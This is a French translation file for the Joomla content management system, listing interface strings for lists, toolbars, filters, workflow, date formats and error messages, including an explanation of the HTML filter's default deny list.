JGLOBAL_FILTER_TYPE_DESC="<p>1. La liste interdite autorise toutes les balises et tous les attributs, à l'exception de ce qui est spécifié.<br><strong>--</strong> Les balises de la liste des interdictions par défaut sont : 'applet', 'body', 'bgsound', 'base', 'basefont', 'canvas', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml'<br><strong>--</strong> Les attributs de la liste des interdictions par défaut sont : ''action', 'background', 'codebase', 'dynsrc', 'lowsrc', 'formaction'<br><strong>--</strong> Vous pouvez interdire des balises et des attributs supplémentaires en les indiquant dans les champs à disposition, séparés par une virgule.<br><strong>--</strong> La liste personnalisée d'interdictions vous permet de remplacer la liste d'interdictions par défaut. Ajoutez les balises et attributs à interdire dans les champs 'Balises de filtre' et 'Attributs de filtre'.</p><p>La liste autorisée n'autorise que les balises répertoriées dans les champs 'Balises de filtre' et 'Attributs de filtre'.</p><p>Pas de HTML supprime toutes les balises HTML du contenu lorsqu'il est enregistré.</p><p>Veuillez noter que ces paramètres fonctionnent quel que soit l'éditeur que vous utilisez<br>Même si vous utilisez un éditeur WYSIWYG, les paramètres de filtrage permettent de supprimer les balises et les attributs supplémentaires avant d'enregistrer les contenus dans la base de données.</p>"
JGLOBAL_FILTER_TYPE_LABEL="Filtrer les types<sup>1</sup>"
JGLOBAL_FILTERED_BY="Filtré par :"
JGLOBAL_FULL_TEXT="Article complet"
JGLOBAL_GT=">"
JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC="Le nombre maximum d'anciennes versions à sauvegarder. Si zéro, toutes les anciennes versions seront sauvegardées."
JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL="Versions maximum"
JGLOBAL_HITS="Clics"
JGLOBAL_HITS_ASC="Clics - Ascendant"
JGLOBAL_HITS_DESC="Clics - Descendant"
JGLOBAL_INHERIT="Hérité"
JGLOBAL_INTEGRATION_LABEL="Intégration"
JGLOBAL_INTRO_TEXT="Texte d'intro"
JGLOBAL_ISFREESOFTWARE="/%s est un logiciel libre publié sous la <a href=\"https://www.gnu.org/licenses/gpl-2.0.html\" target=\"_blank\" rel=\"noopener noreferrer\">licence publique générale GNU</a>."
JGLOBAL_ITEM_FEATURE="Article épinglé"
JGLOBAL_ITEM_UNFEATURE="Article désépinglé"
JGLOBAL_JOOA11Y="Vérification d'accessibilité"
JGLOBAL_KEEP_TYPING="Poursuite de l'insertion..."
JGLOBAL_LANGUAGE_VERSION_NOT_PLATFORM="Le pack de langue ne correspond pas à cette version de Joomla. Certaines chaînes peuvent être manquantes et seront affichées en anglais."
JGLOBAL_LEARN_MORE="En savoir plus"
JGLOBAL_LEAST_HITS="Moins populaires"
JGLOBAL_LEFT="Gauche"
JGLOBAL_LINK_AUTHOR_LABEL="Lien vers sa page de contact"
JGLOBAL_LINK_CATEGORY_DESC="Activer/Désactiver le lien sur le titre de la catégorie<br />vers l'affichage en liste de ses articles."
JGLOBAL_LINK_CATEGORY_LABEL="Titre cliquable"
JGLOBAL_LINK_PARENT_CATEGORY_DESC="Activer/Désactiver le lien sur le titre de la catégorie parente<br />vers l'affichage en liste de ses articles."
JGLOBAL_LINK_PARENT_CATEGORY_LABEL="Lien de catégorie parente"
JGLOBAL_LINKED_INTRO_IMAGE_LABEL="Image d'introduction liée"
JGLOBAL_LINKED_TITLES_DESC="Activer/Désactiver le lien sur le titre vers l'article complet.<br />Utile en affichage de type blog et dans un module (news)."
JGLOBAL_LINKED_TITLES_LABEL="Titre cliquable"
JGLOBAL_LIST="Liste"
JGLOBAL_LIST_ALIAS="Alias : %s"
JGLOBAL_LIST_ALIAS_NOTE="(<span>Alias</span>: %s, <span>Note</span> : %s)"
JGLOBAL_LIST_AUTHOR_DESC="Afficher/Masquer l'auteur de l'article l'affichage en liste."
JGLOBAL_LIST_AUTHOR_LABEL="Auteur"
JGLOBAL_LIST_HITS_DESC="Afficher/Masquer le nombre d'affichages de l'article dans l'affichage en liste."
JGLOBAL_LIST_HITS_LABEL="Clics"
JGLOBAL_LIST_LAYOUT_OPTIONS="Listes"
JGLOBAL_LIST_LIMIT="Sélectionnez le nombre d’éléments par page."
JGLOBAL_LIST_NAME="(<span>Nom</span> : %s)"
JGLOBAL_LIST_NAME_NOTE="(<span>Nom</span> : %s, <span>Note</span> : %s)"
JGLOBAL_LIST_NOTE="(<span>Note</span> : %s)"
JGLOBAL_LIST_RATINGS_DESC="Afficher/masquer l'évaluation des articles dans une liste d'articles."
JGLOBAL_LIST_RATINGS_LABEL="Afficher l'évaluation dans une liste"
JGLOBAL_LIST_TITLE_DESC="Afficher/Masquer le titre des catégories dans l'affichage en liste."
JGLOBAL_LIST_TITLE_LABEL="Nom de la catégorie"
JGLOBAL_LIST_VOTES_DESC="Afficher/masquer le vote des articles dans une liste d'articles."
JGLOBAL_LIST_VOTES_LABEL="Afficher les votes dans les listes"
JGLOBAL_LOOKING_FOR="Vue de"
JGLOBAL_LT="<"
JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC="Nombre de niveaux de sous catégories à afficher."
JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL="Niveaux de sous catégories"
JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT="Taille maximum de téléchargement : <strong>%s</strong>"
JGLOBAL_MAXLEVEL_DESC="Nombre de niveaux de sous-catégories à afficher."
JGLOBAL_MAXLEVEL_LABEL="Niveaux de sous catégories"
JGLOBAL_MENU_SELECTION="Sélection du menu"
JGLOBAL_MODIFIED="Modifié"
JGLOBAL_MODIFIED_DATE="Date de modification"
JGLOBAL_MOST_HITS="Les plus populaires"
JGLOBAL_MOST_RECENT_FIRST="Les plus récents en premier"
JGLOBAL_MULTI_LEVEL="Multi-niveaux"
JGLOBAL_NAME_ASC="Nom - Ascendant"
JGLOBAL_NAME_DESC="Nom - Descendant"
JGLOBAL_NEWITEMSFIRST_DESC="Les nouveaux éléments sont classés en premier par défaut. Vous ne pouvez modifier l'ordre qu'après enregistrement."
JGLOBAL_NEWITEMSLAST_DESC="Les nouveaux éléments sont classés en dernier par défaut. Vous ne pouvez modifier l'ordre qu'après enregistrement."
JGLOBAL_NO_ITEM_SELECTED="Aucun élément sélectionné"
JGLOBAL_NO_MATCHING_RESULTS="Aucun résultat correspondant"
JGLOBAL_NO_ORDER="Aucun ordre"
JGLOBAL_NONAPPLICABLE="N/A"
JGLOBAL_NUM_INTRO_ARTICLES_DESC="Nombre d'articles dont seule l'introduction doit être affichée.<br />Les articles sont présentés en une ou plusieurs colonnes.<br />En général, cet affichage est utilisé pour l'ensemble des articles."
JGLOBAL_NUM_INTRO_ARTICLES_LABEL="Introduction des articles"
JGLOBAL_NUM_LEADING_ARTICLES_DESC="Nombre d'articles en pleine largeur à afficher dans le blog."
JGLOBAL_NUM_LEADING_ARTICLES_LABEL="Articles en pleine largeur"
JGLOBAL_NUM_LINKS_DESC="Nombre d'articles dont seul le titre doit être affiché, sous forme de lien.<br />Attention, ces articles ne sont pas affichés dans le blog ce qui peut perturber l'utilisateur."
JGLOBAL_NUM_LINKS_LABEL="Titres avec lien"
JGLOBAL_NUMBER_CATEGORY_ITEMS_DESC="Afficher/Masquer le nombre d'articles dans une catégorie."
JGLOBAL_NUMBER_CATEGORY_ITEMS_LABEL="Nombre d'Articles"
JGLOBAL_NUMBER_ITEMS_LIST_DESC="Nombre d'articles par défaut à lister sur une page."
JGLOBAL_NUMBER_ITEMS_LIST_LABEL="# Articles à lister"
JGLOBAL_OLDEST_FIRST="Le plus ancien en premier"
JGLOBAL_OPENS_IN_A_NEW_WINDOW="S'ouvre dans une nouvelle fenêtre"
JGLOBAL_ORDER_ASCENDING="Ascendant"
JGLOBAL_ORDER_DESCENDING="Descendant"
JGLOBAL_ORDER_DIRECTION_DESC="Ordre : Descendant = du premier au dernier - Ascendant = du dernier au premier."
JGLOBAL_ORDER_DIRECTION_LABEL="Direction"
JGLOBAL_ORDERING="Ordre des articles"
JGLOBAL_ORDERING_DATE_DESC="Si les articles sont classés par date, le type de date à utiliser."
JGLOBAL_ORDERING_DATE_LABEL="Classement par date"
JGLOBAL_OTPMETHOD_NONE="Désactiver la double authentification"
JGLOBAL_PAGINATION_DESC="Afficher/Masquer le support de pagination affichant des liens au bas des pages pour permettre de naviguer entre les pages d'un même contenu.<br />La pagination est nécessaire si les informations sont réparties sur plusieurs pages."
JGLOBAL_PAGINATION_LABEL="Pagination"
JGLOBAL_PAGINATION_RESULTS_DESC="Afficher/Masquer le résumé de la pagination, par exemple, \"Page 1 sur 4\"."
JGLOBAL_PAGINATION_RESULTS_LABEL="Résumé de la pagination"
JGLOBAL_PASSWORD="Mot de passe"
JGLOBAL_PASSWORD_RESET_REQUIRED="Vous devez réinitialiser votre mot de passe avant de continuer."
JGLOBAL_PERMISSIONS_ANCHOR="Définir les droits"
JGLOBAL_PREVIEW="Prévisualisation"
JGLOBAL_PREVIEW_POSITION="<span>Position :</span> %s"
JGLOBAL_PREVIEW_STYLE="<span>Style :</span> %s"
JGLOBAL_PUBLISHED_DATE="Date de publication"
JGLOBAL_RANDOM_ORDER="Ordre aléatoire"
JGLOBAL_RATINGS="Évaluations"
JGLOBAL_RATINGS_ASC="Évaluations - Ascendant"
JGLOBAL_RATINGS_DESC="Évaluations - Descendant"
JGLOBAL_RECORD_HITS_DISABLED="L'enregistrement des accès est désactivé."
JGLOBAL_RECORD_HITS_LABEL="Enregistrer les affichages"
JGLOBAL_RECORD_NUMBER="ID d'enregistrement : %d"
JGLOBAL_REMEMBER_ME="Se souvenir de moi"
JGLOBAL_REPEATABLE_FIELDS_TABLE_CAPTION="Liste des champs répétables"
JGLOBAL_REVERSE_ORDERING="Ordre inverse des articles"
JGLOBAL_RIGHT="Droite"
JGLOBAL_ROOT="Racine"
JGLOBAL_ROOT_PARENT="- Pas de parent -"
JGLOBAL_SAVE_HISTORY_OPTIONS_DESC="Sauvegarder automatiquement ou non les versions anciennes d'un élément. Si oui, les versions anciennes seront sauvegardées automatiquement. Quand un élément sera modifié, une version précédente pourra être rétablie."
JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL="Activer l'historique"
JGLOBAL_SECRETKEY="Clé secrète"
JGLOBAL_SECRETKEY_HELP="Si vous avez activé la double authentification dans votre compte utilisateur, veuillez saisir votre clé secrète. Si vous ne comprenez pas ce dont il s'agit, veuillez laisser ce champ vide."
JGLOBAL_SEF_NOIDS_DESC="Supprimer les \"id\" des URL de ce composant."
JGLOBAL_SEF_NOIDS_LABEL="Supprimer les \"id\" des URL"
JGLOBAL_SEF_TITLE="Routage"
JGLOBAL_SELECT_ALLOW_DENY_GROUP="Changer les droits %s pour le groupe %s."
JGLOBAL_SELECT_AN_OPTION="Sélectionnez une option"
JGLOBAL_SELECT_NO_RESULTS_MATCH="Aucun résultat trouvé"
JGLOBAL_SELECT_PRESS_TO_SELECT="Cliquer pour sélectionner"
JGLOBAL_SELECT_SOME_OPTIONS="Sélectionnez des options"
JGLOBAL_SELECTED_UPLOAD_FILE_SIZE="Taille du fichier sélectionné : <strong>%s</strong>"
JGLOBAL_SELECTION_ALL="Tout sélectionner"
JGLOBAL_SELECTION_INVERT="Inverser la sélection"
JGLOBAL_SELECTION_INVERT_ALL="Activer/Désactiver toutes les sélections"
JGLOBAL_SELECTION_NONE="Effacer la sélection"
JGLOBAL_SHOW_ASSOCIATIONS_DESC="Multilingue seulement. Affiche/masque les drapeaux des articles associés ou le Code de langue URL."
JGLOBAL_SHOW_ASSOCIATIONS_LABEL="Associations"
JGLOBAL_SHOW_AUTHOR_DESC="Afficher/Masquer le nom de l'auteur de l'article."
JGLOBAL_SHOW_AUTHOR_LABEL="Auteur"
JGLOBAL_SHOW_CATEGORY_DESC="Afficher/Masquer le titre de la catégorie de l'article."
JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC="Afficher/Masquer la description des catégories."
JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL="Description"
JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_DESC="Si affiché, les \"sous-catégories\" seront listées dans la page en tant que sous-titres. Les sous-titres sont en général affiché avec l'attribut de balise de titre \"H3\"."
JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_LABEL="Texte des sous-catégories"
JGLOBAL_SHOW_CATEGORY_IMAGE_DESC="Afficher/Masquer l'image des catégories."
JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL="Image"
JGLOBAL_SHOW_CATEGORY_LABEL="Paramètres"
JGLOBAL_SHOW_CATEGORY_TITLE="Nom de la catégorie"
JGLOBAL_SHOW_CATEGORY_TITLE_DESC="Afficher/Masquer le titre des catégories comme sous-titre de page.<br />Les sous-titres sont habituellement affichés dans une balise 'h2'."
JGLOBAL_SHOW_CREATE_DATE_DESC="Afficher/Masquer la date et l'heure de création."
JGLOBAL_SHOW_CREATE_DATE_LABEL="Date de création"
JGLOBAL_SHOW_DATE_DESC="Afficher/Masquer la colonne de date dans la liste des articles. Sélectionnez 'Masquer' pour cacher la date, sinon sélectionnez quel type de date vous souhaitez afficher."
JGLOBAL_SHOW_DATE_LABEL="Date"
JGLOBAL_SHOW_EMPTY_CATEGORIES_DESC="Afficher/Masquer les catégories vides qui ne contiennent ni article, ni sous-catégories."
JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL="Catégories vides"
JGLOBAL_SHOW_FEATURED_ARTICLES_DESC="Afficher, masquer, ou n'afficher que les articles épinglés."
JGLOBAL_SHOW_FEATURED_ARTICLES_LABEL="Articles épinglés"
JGLOBAL_SHOW_FEED_LINK_DESC="Afficher/Masquer un lien de fil d'actualité RSS dans la barre d'adresse de certains navigateurs pour permettre d'afficher le contenu de la page où il se situe sur un autre site ou dans des lecteurs de fils d'actualités.<br />Vous pouvez également utiliser le module 'Fils RSS ou ATOM'."
JGLOBAL_SHOW_FEED_LINK_LABEL="Lien de flux RSS"
JGLOBAL_SHOW_FLAG_DESC="Si oui, affichera le choix de langue sous la forme des images de drapeaux. Sinon affichera le Code langue URL."
JGLOBAL_SHOW_FLAG_LABEL="Utiliser les images de drapeaux"
JGLOBAL_SHOW_FULL_DESCRIPTION="Afficher la description complète..."
JGLOBAL_SHOW_HEADINGS_DESC="Affiche ou masque les en-têtes, en affichage de type liste."
JGLOBAL_SHOW_HEADINGS_LABEL="En-têtes de tableau"
JGLOBAL_SHOW_HITS_LABEL="Clics"
JGLOBAL_SHOW_INTRO_DESC="Afficher/Masquer le texte d'introduction dans l'affichage complet des articles."
JGLOBAL_SHOW_INTRO_LABEL="Texte d'intro"
JGLOBAL_SHOW_MODIFY_DATE_DESC="Afficher/Masquer la date et l'heure de modification."
JGLOBAL_SHOW_MODIFY_DATE_LABEL="Date de modification"
JGLOBAL_SHOW_NAVIGATION_DESC="Afficher/Masquer les liens 'Précédent' et 'Suivant' pour naviguer entre les articles d'une même catégorie."
JGLOBAL_SHOW_NAVIGATION_LABEL="Navigation"
JGLOBAL_SHOW_PARENT_CATEGORY_DESC="Afficher/Masquer le titre de la catégorie parente."
JGLOBAL_SHOW_PARENT_CATEGORY_LABEL="Catégorie parente"
JGLOBAL_SHOW_PUBLISH_DATE_DESC="Afficher/Masquer la date et l'heure de publication."
JGLOBAL_SHOW_PUBLISH_DATE_LABEL="Date de Publication"
JGLOBAL_SHOW_READMORE_DESC="Afficher/Masquer le lien 'Lire la suite...' lorsque l'article est affiché en format Blog ou dans un module."
JGLOBAL_SHOW_READMORE_LABEL="Lien \"Lire la suite\""
JGLOBAL_SHOW_READMORE_LIMIT_DESC="Nombre de caractères maximum à afficher dans le lien 'Lire titre de l'article...'"
JGLOBAL_SHOW_READMORE_LIMIT_LABEL="Nbr de caractères dans le lien"
JGLOBAL_SHOW_READMORE_TITLE_DESC="Afficher/Masquer dans le lien 'Lire la suite...' le titre de l'article en remplacement du texte 'la suite'."
JGLOBAL_SHOW_READMORE_TITLE_LABEL="Titre de l'article dans le lien"
JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC="Afficher/Masquer la description des sous-catégories."
JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL="Desc. sous-catégories"
JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC="Si 'Non' est sélectionné, seuls les articles de la catégorie seront affichés. Si un nombre est choisi, tous les articles de la catégorie et de ses sous-catégories, jusqu'au niveau défini inclus, seront affichés en mode blog."
JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL="Inclure les sous-catégories"
JGLOBAL_SHOW_SUBCATEGORY_HEADING="Titre des sous-catégories"
JGLOBAL_SHOW_TAGS_DESC="Afficher les tags de ce lien"
JGLOBAL_SHOW_TAGS_LABEL="Tags"
JGLOBAL_SHOW_TITLE_DESC="Afficher/Masquer le titre des articles."
JGLOBAL_SHOW_TITLE_LABEL="Titre"
JGLOBAL_SHOW_UNAUTH_LINKS_DESC="Afficher/Masquer les liens vers les articles accessibles uniquement aux utilisateurs identifiés sur le site. Pour les utilisateurs non identifiés, il sera demandé de se connecter ou de créer un compte."
JGLOBAL_SHOW_UNAUTH_LINKS_LABEL="Liens non autorisés"
JGLOBAL_SHOW_VOTE_DESC="Afficher/Masquer les votes permettant aux simples utilisateurs de les voir et aux utilisateurs autorisés de voter."
JGLOBAL_SHOW_VOTE_LABEL="Vote sur les articles"
JGLOBAL_SINGLE_LEVEL="Un seul niveau"
JGLOBAL_SORT_BY="Tri des tables par :"
JGLOBAL_SORTED_BY="Trier par :"
JGLOBAL_STAGE_PROCESS="Traitement"
JGLOBAL_START_PUBLISH_AFTER_FINISH="La date de début de publication doit être fixée avant la date de fin de publication."
JGLOBAL_SUBSLIDER_BLOG_EXTENDED_LABEL="Cette option permet d'inclure des articles de sous-catégories en affichage blog."
JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL="Si un champ est laissé vide, les paramètres globaux seront utilisés."
JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL="Ces paramètres sont également utilisés lorsque vous sélectionnez un des liens de catégorie, sur la première page et/ou sur les autres, à moins qu’ils ne soient modifiés dans un lien de menu spécifique."
JGLOBAL_TITLE="Titre"
JGLOBAL_TITLE_ALPHABETICAL="Alphabétique des titres"
JGLOBAL_TITLE_ASC="Titres - Ascendant"
JGLOBAL_TITLE_DESC="Titres - Descendant"
JGLOBAL_TITLE_REVERSE_ALPHABETICAL="Alphabétique inverse des titres"
JGLOBAL_TOGGLE_DROPDOWN="Permuter la liste déroulante"
JGLOBAL_TOGGLE_FEATURED="Permuter le statut Épinglé"
JGLOBAL_TOP="Haut"
JGLOBAL_TPL_CPANEL_LINK_TEXT="Tableau de bord"
JGLOBAL_TYPE_OR_SELECT_CATEGORY="Taper ou sélectionner une catégorie"
JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS="Saisir ou sélectionner certaines options"
JGLOBAL_TYPE_OR_SELECT_SOME_TAGS="Saisir ou sélectionner certains tags"
JGLOBAL_USE_GLOBAL="Paramètres globaux"
JGLOBAL_USE_GLOBAL_VALUE="Paramètres globaux (%s)"
JGLOBAL_USERNAME="Identifiant"
JGLOBAL_VALIDATION_FORM_FAILED="Formulaire invalide"
JGLOBAL_VIEW_SITE="Voir le site"
JGLOBAL_VOTES="Votes"
JGLOBAL_VOTES_ASC="Votes - Ascendant"
JGLOBAL_VOTES_DESC="Votes - Descendant"
JGLOBAL_WARNCOOKIES="Attention ! Les cookies doivent être activés pour accéder à l'espace administration."
JGLOBAL_WARNIE="Attention, Internet Explorer ne doit pas être utilisé pour le bon fonctionnement de l'interface d'administration."
JGLOBAL_WARNJAVASCRIPT="Attention : JavaScript doit être activé pour un fonctionnement correct de l'interface d'administration."
JGLOBAL_WIDTH="Largeur"
JGRID_HEADING_ACCESS="Accès"
JGRID_HEADING_ACCESS_ASC="Accès - Ascendant"
JGRID_HEADING_ACCESS_DESC="Accès - Descendant"
JGRID_HEADING_CAPTION_ASC="%s - Ascendant"
JGRID_HEADING_CAPTION_DESC="%s - Descendant"
JGRID_HEADING_CREATED_BY="Créé par"
JGRID_HEADING_ID="Id"
JGRID_HEADING_ID_ASC="ID - Ascendant"
JGRID_HEADING_ID_DESC="ID - Descendant"
JGRID_HEADING_LANGUAGE="Langue"
JGRID_HEADING_LANGUAGE_ASC="Langue - Ascendant"
JGRID_HEADING_LANGUAGE_DESC="Langue - Descendant"
JGRID_HEADING_MENU_ITEM_TYPE="Type de lien de menu"
JGRID_HEADING_ORDERING="Tri"
JGRID_HEADING_ORDERING_ASC="Ordre - Ascendant"
JGRID_HEADING_ORDERING_DESC="Ordre - Descendant"
JLIB_DATABASE_ERROR_ADAPTER_MYSQL="L'adaptateur MySQL 'mysql' n'est pas disponible."
JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="L'adaptateur MySQL 'mysqli' n'est pas disponible."
JLIB_DATABASE_ERROR_CONNECT_DATABASE="Impossible de se connecter à la base de données : %s."
JLIB_DATABASE_ERROR_CONNECT_MYSQL="Échec de connexion à la base de données à MySQL."
JLIB_DATABASE_ERROR_DATABASE_CONNECT="Impossible de se connecter à la base de données"
JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Impossible de charger le pilote de la base de données : %s."
JOPTION_ACCESS_SHOW_ALL_ACCESS="Afficher tous les accès"
JOPTION_ACCESS_SHOW_ALL_GROUPS="Afficher tous les groupes"
JOPTION_ACCESS_SHOW_ALL_LEVELS="Afficher tous les niveaux d'accès"
JOPTION_ALL_CATEGORIES="- Toutes les catégories -"
JOPTION_ANY="N'importe lequel"
JOPTION_ANY_CATEGORY="N'importe quelle catégorie"
JOPTION_DO_NOT_USE="- Aucune Sélection -"
JOPTION_FROM_COMPONENT="---Du composant---"
JOPTION_FROM_MODULE="---Du module---"
JOPTION_FROM_STANDARD="---Configuration globale---"
JOPTION_FROM_TEMPLATE="---Du template %s---"
JOPTION_MENUS="Menus"
JOPTION_NO_USER="- Aucun utilisateur -"
JOPTION_OPTIONAL="Facultatif"
JOPTION_REQUIRED="Requis"
JOPTION_SELECT_ACCESS="- Niveau d'accès -"
JOPTION_SELECT_AUTHOR="- Auteur -"
JOPTION_SELECT_AUTHOR_ALIAS="- Pseudo d'auteur -"
JOPTION_SELECT_AUTHOR_ALIASES="- Pseudo d'auteurs -"
JOPTION_SELECT_AUTHORS="- Auteurs -"
JOPTION_SELECT_CATEGORY="- Catégorie -"
JOPTION_SELECT_EDITOR="- Éditeur -"
JOPTION_SELECT_FEATURED="- Épinglé -"
JOPTION_SELECT_IMAGE="- Image -"
JOPTION_SELECT_LANGUAGE="- Langue -"
JOPTION_SELECT_MAX_LEVELS="- Niveau d'arborescence -"
JOPTION_SELECT_MENU="- Menu -"
JOPTION_SELECT_MENU_ITEM="- Lien de menu -"
JOPTION_SELECT_PUBLISHED="- Statut -"
JOPTION_SELECT_STAGE="- Étape -"
JOPTION_SELECT_TAG="- Tag -"
JOPTION_SELECT_TEMPLATE="- Template -"
JOPTION_SELECT_TRANSITION="- Transition -"
JOPTION_UNASSIGNED="Non assigné"
JOPTION_USE_DEFAULT="- Paramètres par défaut -"
JOPTION_USE_DEFAULT_MODULE_SETTING="- Paramètres par défaut du module -"
JOPTION_USE_MENU_REQUEST_SETTING="- Paramètres du menu ou du lien -"
JSEARCH_FILTER="Recherche"
JSEARCH_FILTER_CLEAR="Effacer"
JSEARCH_FILTER_LABEL="Filtrer :"
JSEARCH_FILTER_SUBMIT="Recherche"
JSEARCH_RESET="Réinitialiser"
JSEARCH_TITLE="Rechercher %s"
JTOGGLE_HIDE_SIDEBAR="Cacher la barre latérale"
JTOGGLE_SHOW_SIDEBAR="Afficher la barre latérale"
JTOGGLE_SIDEBAR_LABEL="Barre latérale"
JTOGGLE_SIDEBAR_MENU="Réduire le menu"
JTOOLBAR_APPLY="Enregistrer"
JTOOLBAR_ARCHIVE="Archives"
JTOOLBAR_ASSIGN="Assigner"
JTOOLBAR_ASSOCIATIONS="Associations"
JTOOLBAR_BACK="Retour"
JTOOLBAR_BATCH="Traitement"
JTOOLBAR_BULK_IMPORT="Importer en masse"
JTOOLBAR_CANCEL="Annuler"
JTOOLBAR_CHANGE_STATUS="Actions"
JTOOLBAR_CHECKIN="Déverrouillage"
JTOOLBAR_CLOSE="Fermer"
JTOOLBAR_DEFAULT="Défaut"
JTOOLBAR_DELETE="Supprimer"
JTOOLBAR_DELETE_ALL="Tout supprimer"
JTOOLBAR_DISABLE="Désactiver"
JTOOLBAR_DUPLICATE="Dupliquer"
JTOOLBAR_EDIT="Modifier"
JTOOLBAR_EDIT_CSS="Modifier le CSS"
JTOOLBAR_EDIT_HTML="Modifier le HTML"
JTOOLBAR_EMPTY_TRASH="Vider la corbeille"
JTOOLBAR_ENABLE="Activer"
JTOOLBAR_EXPORT="Exportation"
JTOOLBAR_HELP="Aide"
JTOOLBAR_INSTALL="Installer"
JTOOLBAR_NEW="Nouveau"
JTOOLBAR_OPTIONS="Paramètres"
JTOOLBAR_PUBLISH="Publier"
JTOOLBAR_PURGE_CACHE="Effacer le cache"
JTOOLBAR_REBUILD="Reconstruire"
JTOOLBAR_REFRESH_CACHE="Régénérer le cache"
JTOOLBAR_REMOVE="Effacer"
JTOOLBAR_SAVE="Enregistrer & Fermer"
JTOOLBAR_SAVE_AND_NEW="Enregistrer & Nouveau"
JTOOLBAR_SAVE_AS_COPY="Enregistrer une copie"
JTOOLBAR_SAVE_TO_MENU="Enregistrer dans le menu"
JTOOLBAR_TRASH="Corbeille"
JTOOLBAR_UNARCHIVE="Désarchiver"
JTOOLBAR_UNINSTALL="Désinstaller"
JTOOLBAR_UNPUBLISH="Dépublier"
JTOOLBAR_UNTRASH="Restaurer"
JTOOLBAR_UPLOAD="Envoyer"
JTOOLBAR_VERSIONS="Versions"
JWARNING_ARCHIVE_MUST_SELECT="Vous devez sélectionner un élément à archiver."
JWARNING_DELETE_MUST_SELECT="Vous devez sélectionner un élément à supprimer définitivement."
JWARNING_PUBLISH_MUST_SELECT="Vous devez sélectionner un élément à publier."
JWARNING_REMOVE_ROOT_USER="Vous êtes connecté à l'aide du profil utilisateur de secours 'Root' spécifié dans le fichier configuration.php.<br>Pour des raisons de sécurité, vous devez supprimer $root_user du fichier 'configuration.php' dès que vous avez repris le contrôle de votre site.<br><a href='%s'>Cliquez sur ce lien pour tenter de le supprimer automatiquement</a> (vous devez posséder les droits d'écriture sur le fichier)."
JWARNING_REMOVE_ROOT_USER_ADMIN="Les paramètres d'urgence de l'utilisateur principal sont activés pour l'utilisateur (id) : %s.<br>Pour des raisons de sécurité, vous devez supprimer $root_user du fichier 'configuration.php' dès que vous avez repris le contrôle de votre site.<br><a href='%s'>Cliquez sur ce lien pour tenter de le supprimer automatiquement</a> (vous devez posséder les droits d'écriture sur le fichier)."
JWARNING_TRASH_MUST_SELECT="Vous devez sélectionner un élément à mettre à la corbeille."
JWARNING_UNPUBLISH_MUST_SELECT="Vous devez sélectionner un élément à dépublier."
; Workflow
JWORKFLOW="Flux de travail : %s"
JWORKFLOW_ENABLED_LABEL="Activer le flux de travail"
JWORKFLOW_EXECUTE_TRANSITION="Sélectionner la transition à exécuter sur cet élément."
JWORKFLOW_EXTENSION_FORBIDDEN_DESCRIPTION="Désactiver ce plugin pour les extensions répertoriées."
JWORKFLOW_EXTENSION_FORBIDDEN_LABEL="Extensions interdites"
JWORKFLOW_EXTENSION_ALLOWED_DESCRIPTION="Activer ce plugin uniquement pour les extensions répertoriées. Si utilisé, toutes les autres extensions sont désactivées."
JWORKFLOW_EXTENSION_ALLOWED_LABEL="Extensions autorisées"
JWORKFLOW_FIELD_COMPONENT_SECTIONS_TEXT="%1$s: %2$s"
JWORKFLOW_SHOW_TRANSITIONS_FOR_THIS_ITEM="Afficher la sélection de transition pour exécuter une transition sur cet élément."
JWORKFLOW_TITLE="Flux de travail"
; Date format
DATE_FORMAT_CALENDAR_DATE="%d-%m-%Y"
DATE_FORMAT_CALENDAR_DATETIME="%d-%m-%Y %H:%M:%S"
DATE_FORMAT_FILTER_DATE="j/m/y"
DATE_FORMAT_FILTER_DATETIME="d-m-Y H:i:s"
DATE_FORMAT_JS1="j/m/y"
DATE_FORMAT_LC="l j F Y"
DATE_FORMAT_LC1="l j F Y"
DATE_FORMAT_LC2="l j F Y H:i"
DATE_FORMAT_LC3="j F Y"
DATE_FORMAT_LC4="j/m/y"
DATE_FORMAT_LC5="Y-m-d H:i"
DATE_FORMAT_LC6="d-m-Y H:i:s"
; Months
JANUARY_SHORT="Jan"
JANUARY="janvier"
FEBRUARY_SHORT="Fév"
FEBRUARY="février"
MARCH_SHORT="Mar"
MARCH="mars"
APRIL_SHORT="Avr"
APRIL="avril"
MAY_SHORT="Mai"
MAY="Mai"
JUNE_SHORT="Jui"
JUNE="juin"
JULY_SHORT="Juil"
JULY="juillet"
AUGUST_SHORT="Aoû"
AUGUST="août"
SEPTEMBER_SHORT="Sep"
SEPTEMBER="septembre"
OCTOBER_SHORT="Oct"
OCTOBER="octobre"
NOVEMBER_SHORT="Nov"
NOVEMBER="novembre"
DECEMBER_SHORT="Déc"
DECEMBER="décembre"
; Days of the Week
SAT="Sam"
SATURDAY="samedi"
SUN="Dim"
SUNDAY="dimanche"
MON="Lun"
MONDAY="lundi"
TUE="Mar"
TUESDAY="mardi"
WED="Mer"
WEDNESDAY="mercredi"
THU="Jeu"
THURSDAY="jeudi"
FRI="Ven"
FRIDAY="vendredi"
; Localised number format
DECIMALS_SEPARATOR=","
THOUSANDS_SEPARATOR=" "
; Mailer Codes
PHPMAILER_AUTHENTICATE="Erreur SMTP : authentification impossible !"
